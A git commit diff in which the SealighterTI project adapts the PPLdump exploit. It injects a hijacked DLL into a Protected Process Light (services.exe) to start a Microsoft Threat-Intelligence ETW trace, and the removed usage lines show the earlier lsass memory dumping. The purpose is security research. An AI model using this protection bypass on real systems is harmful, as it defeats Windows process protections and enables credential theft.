mirror of
https://github.com/pathtofile/SealighterTI
synced 2026-06-06 16:34:29 +00:00
working
This commit is contained in:
+5
-1
@@ -337,4 +337,8 @@ ASALocalRun/
|
||||
.localhistory/
|
||||
|
||||
# BeatPulse healthcheck temp database
|
||||
healthchecksdb
|
||||
healthchecksdb
|
||||
|
||||
|
||||
# Test files
|
||||
test_sealighter_provider.man
|
||||
+9
-7
@@ -2,14 +2,15 @@
|
||||
#include "sealighter_provider.h"
|
||||
#include <iostream>
|
||||
|
||||
BOOL g_bVerbose = TRUE;
|
||||
BOOL g_bDebug = TRUE;
|
||||
BOOL g_bVerbose = FALSE;
|
||||
BOOL g_bDebug = FALSE;
|
||||
BOOL g_bForce = FALSE;
|
||||
LPWSTR g_pwszDLLPath = NULL;
|
||||
HANDLE g_hEventStopTrace = NULL;
|
||||
|
||||
int wmain(int argc, wchar_t* argv[])
|
||||
{
|
||||
BOOL bReturnValue = FALSE;
|
||||
DWORD dwPidToKill = 0;
|
||||
|
||||
if (!ParseArguments(argc, argv))
|
||||
return 1;
|
||||
@@ -20,9 +21,10 @@ int wmain(int argc, wchar_t* argv[])
|
||||
return 1;
|
||||
}
|
||||
|
||||
bReturnValue = LoadDLL(g_pwszDLLPath);
|
||||
if (bReturnValue) {
|
||||
return 0;
|
||||
bReturnValue = StartETWLogger();
|
||||
if (!bReturnValue) {
|
||||
return 1;
|
||||
}
|
||||
return 1;
|
||||
(void)EventUnregisterSealighter();
|
||||
return 0;
|
||||
}
|
||||
|
||||
Binary file not shown.
@@ -16,6 +16,7 @@
|
||||
<ProjectGuid>{fce81bda-acac-4892-969e-0414e765593b}</ProjectGuid>
|
||||
<RootNamespace>PPLdump</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>SealighterTI</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
|
||||
+44
-94
@@ -1,7 +1,7 @@
|
||||
#include "exploit.h"
|
||||
|
||||
_Success_(return)
|
||||
BOOL LoadDLL(_In_ LPWSTR g_pwszDLLPath)
|
||||
BOOL StartETWLogger()
|
||||
{
|
||||
BOOL bReturnValue = FALSE;
|
||||
|
||||
@@ -306,6 +306,9 @@ BOOL LoadDLL(_In_ LPWSTR g_pwszDLLPath)
|
||||
StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_DUMP_SUCCESS", pwszGuid);
|
||||
if (!(hEventDumpSuccess = CreateEvent(NULL, TRUE, FALSE, wszEventName)))
|
||||
PrintLastError(L"CreateEvent");
|
||||
StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_STOP_TRACE", pwszGuid);
|
||||
if (!(g_hEventStopTrace = CreateEvent(NULL, TRUE, FALSE, wszEventName)))
|
||||
PrintLastError(L"CreateEvent");
|
||||
|
||||
//
|
||||
// 6. Create a PPL process and hijack one of the DLLs it tries to load
|
||||
@@ -349,32 +352,32 @@ BOOL LoadDLL(_In_ LPWSTR g_pwszDLLPath)
|
||||
goto end;
|
||||
}
|
||||
|
||||
if (!PrepareCommandLine(pwszGuid, 0, &pwszCommandLine))
|
||||
if (!PrepareCommandLine(pwszGuid, &pwszCommandLine))
|
||||
goto end;
|
||||
PrintDebug(L"Creating protected process with command line: %ws\n", pwszCommandLine);
|
||||
if (!CreateProtectedProcessAsUser(hNewProcessToken, pwszCommandLine, &newProcessInfo))
|
||||
goto end;
|
||||
PrintVerbose(L"[*] Started protected process PID %d, waiting...\n", newProcessInfo.dwProcessId);
|
||||
|
||||
// TODO, make this ctrl+c
|
||||
//WaitForSingleObject(newProcessInfo.hProcess, INFINITE);
|
||||
Sleep(5000);
|
||||
|
||||
// Now kill the process
|
||||
if (!PrepareCommandLine(pwszGuid, newProcessInfo.dwProcessId, &pwszCommandLine))
|
||||
// Add Ctrl+C
|
||||
if (!SetConsoleCtrlHandler(CtrlCHandler, TRUE)) {
|
||||
PrintLastError(L"SetConsoleCtrlHandler\n");
|
||||
goto end;
|
||||
PrintDebug(L"Creating protected process with command line: %ws\n", pwszCommandLine);
|
||||
if (!CreateProtectedProcessAsUser(hNewProcessToken, pwszCommandLine, &newProcessInfo))
|
||||
goto end;
|
||||
PrintVerbose(L"[*] Started protected process PID %d, waiting...\n", newProcessInfo.dwProcessId);
|
||||
}
|
||||
|
||||
wprintf(L"[*] Trace Process started, press ctrl+c to stop...\n");
|
||||
WaitForSingleObject(newProcessInfo.hProcess, INFINITE);
|
||||
|
||||
bDllLoaded = WaitForSingleObject(hEventDllLoaded, 100) == WAIT_OBJECT_0;
|
||||
bDumpSuccess = WaitForSingleObject(hEventDumpSuccess, 100) == WAIT_OBJECT_0;
|
||||
if (bDllLoaded)
|
||||
wprintf(L"[-] The DLL was successfully loaded into the PPL Process\n");
|
||||
else
|
||||
wprintf(L"[-] The DLL was not loaded\n");
|
||||
|
||||
PrintDebug(L"Unmap section '%ws'...\n", pwszSectionName);
|
||||
UnmapDll(hDllSection);
|
||||
|
||||
bDumpSuccess = WaitForSingleObject(hEventDumpSuccess, 100) == WAIT_OBJECT_0;
|
||||
if (!GetExitCodeProcess(newProcessInfo.hProcess, &dwExitCode))
|
||||
{
|
||||
PrintLastError(L"GetExitCodeProcess");
|
||||
@@ -383,20 +386,16 @@ BOOL LoadDLL(_In_ LPWSTR g_pwszDLLPath)
|
||||
PrintDebug(L"Process exit code: %d\n", dwExitCode);
|
||||
if (dwExitCode != 0)
|
||||
wprintf(L"[!] Unexpected exit code: 0x%08lx\n", dwExitCode);
|
||||
|
||||
bReturnValue = bDumpSuccess;
|
||||
|
||||
|
||||
if (bDumpSuccess)
|
||||
{
|
||||
wprintf(L"[+] Dump successfull! :)\n");
|
||||
wprintf(L"[+] Trace completed :)\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (bDllLoaded)
|
||||
wprintf(L"[-] The DLL was loaded but something went wrong. :/\n");
|
||||
else
|
||||
wprintf(L"[-] The DLL was not loaded. :/\n");
|
||||
else {
|
||||
wprintf(L"[+] Running trace was not successfull :(\n");
|
||||
}
|
||||
bReturnValue = bDumpSuccess;
|
||||
|
||||
|
||||
end:
|
||||
if (bImpersonationActive)
|
||||
@@ -405,6 +404,8 @@ end:
|
||||
CloseHandle(hEventDllLoaded);
|
||||
if (hEventDumpSuccess)
|
||||
CloseHandle(hEventDumpSuccess);
|
||||
if (g_hEventStopTrace)
|
||||
CloseHandle(g_hEventStopTrace);
|
||||
if (pwszGuid)
|
||||
LocalFree(pwszGuid);
|
||||
if (hNewProcessToken)
|
||||
@@ -431,6 +432,24 @@ end:
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
_Success_(return)
|
||||
BOOL WINAPI CtrlCHandler
|
||||
(
|
||||
DWORD fdwCtrlType
|
||||
)
|
||||
{
|
||||
switch (fdwCtrlType)
|
||||
{
|
||||
case CTRL_C_EVENT:
|
||||
PrintVerbose(L"Setting Stop Event\n");
|
||||
if (!SetEvent(g_hEventStopTrace)) {
|
||||
PrintLastError(L"SetEvent");
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_Success_(return)
|
||||
BOOL CheckRequirements()
|
||||
{
|
||||
@@ -564,70 +583,6 @@ BOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//_Success_(return)
|
||||
//BOOL WritePayloadDll(_In_ LPWSTR pwszPath)
|
||||
//{
|
||||
// BOOL bReturnValue = FALSE;
|
||||
//
|
||||
// HRSRC hResource = NULL;
|
||||
// HGLOBAL hResourceData = NULL;
|
||||
// DWORD dwResourceSize = 0;
|
||||
// LPVOID lpData = NULL;
|
||||
//
|
||||
// HANDLE hFile = NULL;
|
||||
// DWORD dwBytesWritten = 0;
|
||||
//
|
||||
// if (!(hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA)))
|
||||
// {
|
||||
// PrintLastError(L"FindResource");
|
||||
// goto end;
|
||||
// }
|
||||
//
|
||||
// if (!(dwResourceSize = SizeofResource(NULL, hResource)))
|
||||
// {
|
||||
// PrintLastError(L"SizeofResource");
|
||||
// goto end;
|
||||
// }
|
||||
//
|
||||
// if (!(hResourceData = LoadResource(NULL, hResource)))
|
||||
// {
|
||||
// PrintLastError(L"LoadResource");
|
||||
// goto end;
|
||||
// }
|
||||
//
|
||||
// if (!(lpData = LockResource(hResourceData)))
|
||||
// {
|
||||
// PrintLastError(L"LockResource");
|
||||
// goto end;
|
||||
// }
|
||||
//
|
||||
// if ((hFile = CreateFile(pwszPath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
|
||||
// {
|
||||
// PrintLastError(L"CreateFile");
|
||||
// goto end;
|
||||
// }
|
||||
//
|
||||
// if (!WriteFile(hFile, lpData, dwResourceSize, &dwBytesWritten, NULL))
|
||||
// {
|
||||
// PrintLastError(L"WriteFile");
|
||||
// goto end;
|
||||
// }
|
||||
//
|
||||
// if (dwBytesWritten != dwResourceSize)
|
||||
// {
|
||||
// wprintf(L"[-] The embedded DLL was not correctly written to Disk\n");
|
||||
// goto end;
|
||||
// }
|
||||
//
|
||||
// bReturnValue = TRUE;
|
||||
//
|
||||
//end:
|
||||
// if (hFile)
|
||||
// CloseHandle(hFile);
|
||||
//
|
||||
// return bReturnValue;
|
||||
//}
|
||||
|
||||
_Success_(return)
|
||||
BOOL GetPayloadDll(_Out_ LPVOID * ppBuffer, _Out_ PDWORD pdwSize)
|
||||
{
|
||||
@@ -1170,7 +1125,7 @@ BOOL UnmapDll(_In_ HANDLE hSection)
|
||||
}
|
||||
|
||||
_Success_(return)
|
||||
BOOL PrepareCommandLine(_In_ LPWSTR pwszRandomGuid, _In_ DWORD dwStartedPid, _Out_ LPWSTR* ppwszCommandLine)
|
||||
BOOL PrepareCommandLine(_In_ LPWSTR pwszRandomGuid, _Out_ LPWSTR* ppwszCommandLine)
|
||||
{
|
||||
BOOL bReturnValue = FALSE;
|
||||
|
||||
@@ -1186,12 +1141,7 @@ BOOL PrepareCommandLine(_In_ LPWSTR pwszRandomGuid, _In_ DWORD dwStartedPid, _Ou
|
||||
goto end;
|
||||
|
||||
GetSystemDirectory(pwszSystemDirectory, MAX_PATH);
|
||||
if (dwStartedPid == 0) {
|
||||
StringCchPrintf(*ppwszCommandLine, size, L"%ws\\%ws start 0 %ws", pwszSystemDirectory, PPL_BINARY, pwszRandomGuid);
|
||||
}
|
||||
else {
|
||||
StringCchPrintf(*ppwszCommandLine, size, L"%ws\\%ws stop %d %ws", pwszSystemDirectory, PPL_BINARY, dwStartedPid, pwszRandomGuid);
|
||||
}
|
||||
StringCchPrintf(*ppwszCommandLine, size, L"%ws\\%ws %ws", pwszSystemDirectory, PPL_BINARY, pwszRandomGuid);
|
||||
|
||||
if (g_bDebug)
|
||||
StringCchCat(*ppwszCommandLine, size, L" -d");
|
||||
|
||||
+7
-4
@@ -7,8 +7,10 @@
|
||||
#include <aclapi.h>
|
||||
|
||||
#define PPL_BINARY L"services.exe"
|
||||
#define DLL_TO_HIJACK_WIN81 L"SspiCli.dll"
|
||||
#define DLL_TO_HIJACK_WIN10 L"EventAggregation.dll"
|
||||
//#define DLL_TO_HIJACK_WIN10 L"api-ms-win-eventing-classicprovider-l1-1-0.dll"
|
||||
|
||||
#define DLL_TO_HIJACK_WIN81 L"SspiCli.dll"
|
||||
|
||||
#ifndef STATUS_INFO_LENGTH_MISMATCH
|
||||
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
|
||||
@@ -17,12 +19,13 @@
|
||||
extern BOOL g_bVerbose;
|
||||
extern BOOL g_bDebug;
|
||||
extern BOOL g_bForce;
|
||||
extern HANDLE g_hEventStopTrace;
|
||||
|
||||
_Success_(return) BOOL LoadDLL(_In_ LPWSTR g_pwszDLLPath);
|
||||
_Success_(return) BOOL StartETWLogger();
|
||||
_Success_(return) BOOL CheckRequirements();
|
||||
_Success_(return) BOOL WINAPI CtrlCHandler(DWORD fdwCtrlType);
|
||||
_Success_(return) BOOL IsCurrentUserSystem(_Out_ PBOOL pbResult);
|
||||
_Success_(return) BOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName);
|
||||
//_Success_(return) BOOL WritePayloadDll(_In_ LPWSTR pwszPath);
|
||||
_Success_(return) BOOL GetPayloadDll(_Out_ LPVOID* ppBuffer, _Out_ PDWORD pdwSize);
|
||||
_Success_(return) BOOL FindFileForTransaction(_In_ DWORD dwMinSize, _Out_ LPWSTR* ppwszFilePath);
|
||||
_Success_(return) BOOL WritePayloadDllTransacted(_Out_ PHANDLE pdhFile);
|
||||
@@ -34,5 +37,5 @@ _Success_(return) BOOL ImpersonateLocalService(_Out_ PHANDLE phLocalServiceToken
|
||||
_Success_(return) BOOL CheckKnownDllSymbolicLink(_In_ LPCWSTR pwszDllName, _In_ LPWSTR pwszTarget);
|
||||
_Success_(return) BOOL MapDll(_In_ LPWSTR pwszSectionName, _Out_ PHANDLE phSection);
|
||||
_Success_(return) BOOL UnmapDll(_In_ HANDLE hSection);
|
||||
_Success_(return) BOOL PrepareCommandLine(_In_ LPWSTR pwszRandomGuid, _In_ DWORD dwStartedPid, _Out_ LPWSTR* ppwszCommandLine);
|
||||
_Success_(return) BOOL PrepareCommandLine(_In_ LPWSTR pwszRandomGuid, _Out_ LPWSTR* ppwszCommandLine);
|
||||
_Success_(return) BOOL CreateProtectedProcessAsUser(_In_ HANDLE hToken, _In_ LPWSTR pwszCommandLine, _Out_ PPROCESS_INFORMATION pProcessInfo);
|
||||
|
||||
+13
-28
@@ -5,16 +5,6 @@ BOOL ParseArguments(int argc, wchar_t* argv[])
|
||||
BOOL bReturnValue = TRUE;
|
||||
BOOL bHelp = FALSE;
|
||||
|
||||
if (argc < 2)
|
||||
{
|
||||
PrintUsage();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Read dump file path
|
||||
--argc;
|
||||
g_pwszDLLPath = argv[argc];
|
||||
|
||||
// Parse options
|
||||
while ((argc > 1) && (argv[1][0] == '-'))
|
||||
{
|
||||
@@ -53,34 +43,29 @@ BOOL ParseArguments(int argc, wchar_t* argv[])
|
||||
|
||||
VOID PrintArguments()
|
||||
{
|
||||
PrintVerbose(L"Verbose=%d | Debug=%d | Force=%d | DLLFilePath='%ws'", g_bVerbose, g_bDebug, g_bForce, g_pwszDLLPath);
|
||||
PrintVerbose(L"Verbose=%d | Debug=%d | Force=%d", g_bVerbose, g_bDebug, g_bForce);
|
||||
}
|
||||
|
||||
VOID PrintUsage()
|
||||
{
|
||||
wprintf(
|
||||
L" _____ _____ __ _ \n"
|
||||
"| _ | _ | | _| |_ _ _____ ___ \n"
|
||||
"| __| __| |__| . | | | | . | version %ws\n"
|
||||
"|__| |__| |_____|___|___|_|_|_| _| by %ws\n"
|
||||
" |_| \n"
|
||||
"\n"
|
||||
L" ___ ___ \n"
|
||||
" (o o) (o o) \n"
|
||||
"( V ) Sealighter TI ( V ) version %ws\n"
|
||||
"--m-m-------------------m-m-- by %ws\n"
|
||||
" (Original PPLDump by %ws)\n"
|
||||
"Description:\n"
|
||||
" Dump the memory of a Protected Process Light (PPL) with a *userland* exploit\n"
|
||||
" Inject into a PPL Process and Start an ETW Trace for the\n"
|
||||
" Microsoft-Windows-Threat-Intelligence Provider\n"
|
||||
"\n",
|
||||
VERSION,
|
||||
AUTHOR
|
||||
AUTHOR,
|
||||
AUTHOR_ORIG
|
||||
);
|
||||
|
||||
wprintf(
|
||||
L"Usage: \n"
|
||||
" PPLdump.exe [-v] [-d] [-f] <DLL_PATH>\n"
|
||||
"\n"
|
||||
);
|
||||
|
||||
wprintf(
|
||||
L"Arguments:\n"
|
||||
" DLL_PATH Full Path to DLL to load\n"
|
||||
" SealighterTI.exe [-v] [-d] [-f]\n"
|
||||
"\n"
|
||||
);
|
||||
|
||||
@@ -94,8 +79,8 @@ VOID PrintUsage()
|
||||
|
||||
wprintf(
|
||||
L"Examples:\n"
|
||||
" PPLdump.exe lsass.exe lsass.dmp\n"
|
||||
" PPLdump.exe -v 720 out.dmp\n"
|
||||
" SealighterTI.exe\n"
|
||||
" SealighterTI.exe -v -f\n"
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+3
-3
@@ -13,13 +13,13 @@
|
||||
#pragma comment(lib, "Rpcrt4.lib")
|
||||
#pragma comment(lib, "Pathcch.lib")
|
||||
|
||||
#define AUTHOR L"@itm4n"
|
||||
#define VERSION L"0.4"
|
||||
#define AUTHOR L"@pathtofile"
|
||||
#define AUTHOR_ORIG L"@itm4n"
|
||||
#define VERSION L"1.0"
|
||||
|
||||
extern BOOL g_bVerbose;
|
||||
extern BOOL g_bDebug;
|
||||
extern BOOL g_bForce;
|
||||
extern LPWSTR g_pwszDLLPath;
|
||||
|
||||
BOOL ParseArguments(int argc, wchar_t* argv[]);
|
||||
VOID PrintArguments();
|
||||
|
||||
@@ -10,3 +10,4 @@ EXPORTS
|
||||
EaFreeAggregatedEventParameters @8
|
||||
EaDeleteAggregatedEvent @9
|
||||
EADeleteAggregateEvent @10
|
||||
TraceMessage @11
|
||||
+11
-32
@@ -34,8 +34,6 @@ HANDLE g_hConsoleOutput = NULL;
|
||||
LPWSTR g_pwszGuid = NULL;
|
||||
BOOL g_bVerbose = TRUE;
|
||||
BOOL g_bDebug = TRUE;
|
||||
LPWSTR g_pwszOption = NULL;
|
||||
DWORD g_dwPidToKill = 0;
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
|
||||
{
|
||||
@@ -60,6 +58,7 @@ BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserv
|
||||
LogToConsole(L"DllMain (process detach)\n");
|
||||
if (g_hConsoleOutput)
|
||||
FreeConsole();
|
||||
StopTracing();
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
@@ -68,37 +67,17 @@ BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserv
|
||||
//
|
||||
// SspiCli.dll
|
||||
//
|
||||
void APIENTRY LogonUserExExW() {
|
||||
LogToConsole(L"LogonUserExExW)\n");
|
||||
}
|
||||
void APIENTRY LogonUserExExW() { }
|
||||
|
||||
//
|
||||
// EventAggregation.dll
|
||||
//
|
||||
void APIENTRY BriCreateBrokeredEvent() {
|
||||
LogToConsole(L"BriCreateBrokeredEvent\n");
|
||||
}
|
||||
void APIENTRY BriDeleteBrokeredEvent() {
|
||||
LogToConsole(L"BriDeleteBrokeredEvent\n");
|
||||
}
|
||||
void APIENTRY EaCreateAggregatedEvent() {
|
||||
LogToConsole(L"EaCreateAggregatedEvent\n");
|
||||
}
|
||||
void APIENTRY EACreateAggregateEvent() {
|
||||
LogToConsole(L"EACreateAggregateEvent\n");
|
||||
}
|
||||
void APIENTRY EaQueryAggregatedEventParameters() {
|
||||
LogToConsole(L"EaQueryAggregatedEventParameters\n");
|
||||
}
|
||||
void APIENTRY EAQueryAggregateEventData() {
|
||||
LogToConsole(L"EAQueryAggregateEventData\n");
|
||||
}
|
||||
void APIENTRY EaFreeAggregatedEventParameters() {
|
||||
LogToConsole(L"EaFreeAggregatedEventParameters\n");
|
||||
}
|
||||
void APIENTRY EaDeleteAggregatedEvent() {
|
||||
LogToConsole(L"EaDeleteAggregatedEvent\n");
|
||||
}
|
||||
void APIENTRY EADeleteAggregateEvent() {
|
||||
LogToConsole(L"EADeleteAggregateEvent\n");
|
||||
}
|
||||
void APIENTRY BriCreateBrokeredEvent() { }
|
||||
void APIENTRY BriDeleteBrokeredEvent() { }
|
||||
void APIENTRY EaCreateAggregatedEvent() { }
|
||||
void APIENTRY EACreateAggregateEvent() { }
|
||||
void APIENTRY EaQueryAggregatedEventParameters() { }
|
||||
void APIENTRY EAQueryAggregateEventData() { }
|
||||
void APIENTRY EaFreeAggregatedEventParameters() { }
|
||||
void APIENTRY EaDeleteAggregatedEvent() { }
|
||||
void APIENTRY EADeleteAggregateEvent() { }
|
||||
|
||||
@@ -16,6 +16,7 @@
|
||||
<ProjectGuid>{6e8d2c12-255b-403c-9ef3-8a097d374db2}</ProjectGuid>
|
||||
<RootNamespace>PPLdumpDll</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>SealighterTIDll</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
@@ -45,9 +46,17 @@
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<CustomBuildBeforeTargets>
|
||||
</CustomBuildBeforeTargets>
|
||||
<CustomBuildAfterTargets>
|
||||
</CustomBuildAfterTargets>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<CustomBuildBeforeTargets>
|
||||
</CustomBuildBeforeTargets>
|
||||
<CustomBuildAfterTargets>
|
||||
</CustomBuildAfterTargets>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
@@ -55,7 +64,7 @@
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>..\PPLdump;..\Sealighter\sealighter;..\Sealighter\json\single_include;..\Sealighter\krabsetw\krabs;..\Sealighter\krabsetw\Microsoft.O365.Security.Native.ETW</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\PPLdump;..\Sealighter\sealighter;..\Sealighter\json\single_include;..\Sealighter\krabsetw\krabs;..\Sealighter\krabsetw\Microsoft.O365.Security.Native.ETW;..\Detours\include</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
@@ -63,6 +72,32 @@
|
||||
<ModuleDefinitionFile>PPLdump.def</ModuleDefinitionFile>
|
||||
<AdditionalLibraryDirectories>..\Detours\lib.X64</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<CustomBuildStep>
|
||||
<Command>
|
||||
</Command>
|
||||
</CustomBuildStep>
|
||||
<CustomBuildStep>
|
||||
<Message>
|
||||
</Message>
|
||||
</CustomBuildStep>
|
||||
<CustomBuildStep>
|
||||
<Outputs>
|
||||
</Outputs>
|
||||
<TreatOutputAsContent>
|
||||
</TreatOutputAsContent>
|
||||
<Inputs>
|
||||
</Inputs>
|
||||
<RootFolder>
|
||||
</RootFolder>
|
||||
</CustomBuildStep>
|
||||
<PreBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Message>
|
||||
</Message>
|
||||
</PreBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
@@ -72,7 +107,7 @@
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>..\PPLdump;..\Sealighter\sealighter;..\Sealighter\json\single_include;..\Sealighter\krabsetw\krabs;..\Sealighter\krabsetw\Microsoft.O365.Security.Native.ETW</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\PPLdump;..\Sealighter\sealighter;..\Sealighter\json\single_include;..\Sealighter\krabsetw\krabs;..\Sealighter\krabsetw\Microsoft.O365.Security.Native.ETW;..\Detours\include</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
@@ -84,6 +119,32 @@
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalLibraryDirectories>..\Detours\lib.X64</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<CustomBuildStep>
|
||||
<Command>
|
||||
</Command>
|
||||
</CustomBuildStep>
|
||||
<CustomBuildStep>
|
||||
<Message>
|
||||
</Message>
|
||||
</CustomBuildStep>
|
||||
<CustomBuildStep>
|
||||
<Outputs>
|
||||
</Outputs>
|
||||
<TreatOutputAsContent>
|
||||
</TreatOutputAsContent>
|
||||
<Inputs>
|
||||
</Inputs>
|
||||
<RootFolder>
|
||||
</RootFolder>
|
||||
</CustomBuildStep>
|
||||
<PreBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Message>
|
||||
</Message>
|
||||
</PreBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\Sealighter\sealighter\sealighter_controller.cpp" />
|
||||
@@ -107,6 +168,16 @@
|
||||
<ItemGroup>
|
||||
<None Include="PPLdump.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\Detours\include\detours.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<CustomBuild Include="..\Detours\lib.X64\detours.lib">
|
||||
<Message>Building detours.lib</Message>
|
||||
<Command>call build_detours.bat</Command>
|
||||
<Outputs>..\Detours\lib.X64\detours.lib</Outputs>
|
||||
</CustomBuild>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
|
||||
@@ -62,10 +62,16 @@
|
||||
<ClInclude Include="..\Sealighter\sealighter\sealighter_util.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\Detours\include\detours.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="PPLdump.def">
|
||||
<Filter>Source Files</Filter>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<CustomBuild Include="..\Detours\lib.X64\detours.lib" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,8 @@
|
||||
cd ..\Detours
|
||||
rmdir /S /Q include
|
||||
rmdir /S /Q lib.X86
|
||||
rmdir /S /Q bin.X86
|
||||
cd src
|
||||
SET DETOURS_TARGET_PROCESSOR=X64
|
||||
nmake clean
|
||||
nmake
|
||||
+97
-41
@@ -1,5 +1,6 @@
|
||||
#include "dllexploit.h"
|
||||
#include <string>
|
||||
#include <thread>
|
||||
#include <cstdio>
|
||||
#include "sealighter_controller.h"
|
||||
|
||||
@@ -23,7 +24,7 @@ void DoStuff()
|
||||
LogToConsole(L"DEBUG mode enabled\n");
|
||||
|
||||
if (g_bDebug)
|
||||
LogToConsole(L"Option='%ws' | GUID='%ws'\n", g_pwszOption, g_pwszGuid);
|
||||
LogToConsole(L"GUID='%ws'\n", g_pwszGuid);
|
||||
|
||||
//
|
||||
// Signal first Event (DLL loaded)
|
||||
@@ -33,12 +34,12 @@ void DoStuff()
|
||||
{
|
||||
if (!SetEvent(hEvent))
|
||||
LogLastError(L"SetEvent");
|
||||
|
||||
|
||||
CloseHandle(hEvent);
|
||||
}
|
||||
else
|
||||
LogLastError(L"OpenEvent");
|
||||
|
||||
|
||||
//
|
||||
// 2. Do some cleanup
|
||||
//
|
||||
@@ -62,9 +63,9 @@ void DoStuff()
|
||||
////
|
||||
//// Finally, start Threat-Intelligence ETW Trace
|
||||
////
|
||||
bSuccess = StartETWLogging();
|
||||
bSuccess = StartTracing();
|
||||
if (g_bVerbose)
|
||||
LogToConsole(L"%ws StartETWLogging: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE");
|
||||
LogToConsole(L"%ws StartTracing: %ws\n", bSuccess ? L"[+]" : L"[-]", bSuccess ? L"SUCCESS" : L"FAILURE");
|
||||
|
||||
bSuccess = TRUE;
|
||||
if (bSuccess)
|
||||
@@ -318,18 +319,16 @@ BOOL ParseCommandLine()
|
||||
if (!argv)
|
||||
return FALSE;
|
||||
|
||||
if (argc < 4)
|
||||
if (argc < 2)
|
||||
return FALSE;
|
||||
|
||||
g_pwszOption = argv[1];
|
||||
g_dwPidToKill = _wtoi(argv[2]);
|
||||
g_pwszGuid = argv[3];
|
||||
g_pwszGuid = argv[1];
|
||||
|
||||
if (argc > 4)
|
||||
if (argc > 2)
|
||||
{
|
||||
if (_wcsicmp(argv[4], L"-v") == 0)
|
||||
if (_wcsicmp(argv[2], L"-v") == 0)
|
||||
g_bVerbose = TRUE;
|
||||
else if (_wcsicmp(argv[4], L"-d") == 0)
|
||||
else if (_wcsicmp(argv[2], L"-d") == 0)
|
||||
{
|
||||
g_bVerbose = TRUE;
|
||||
g_bDebug = TRUE;
|
||||
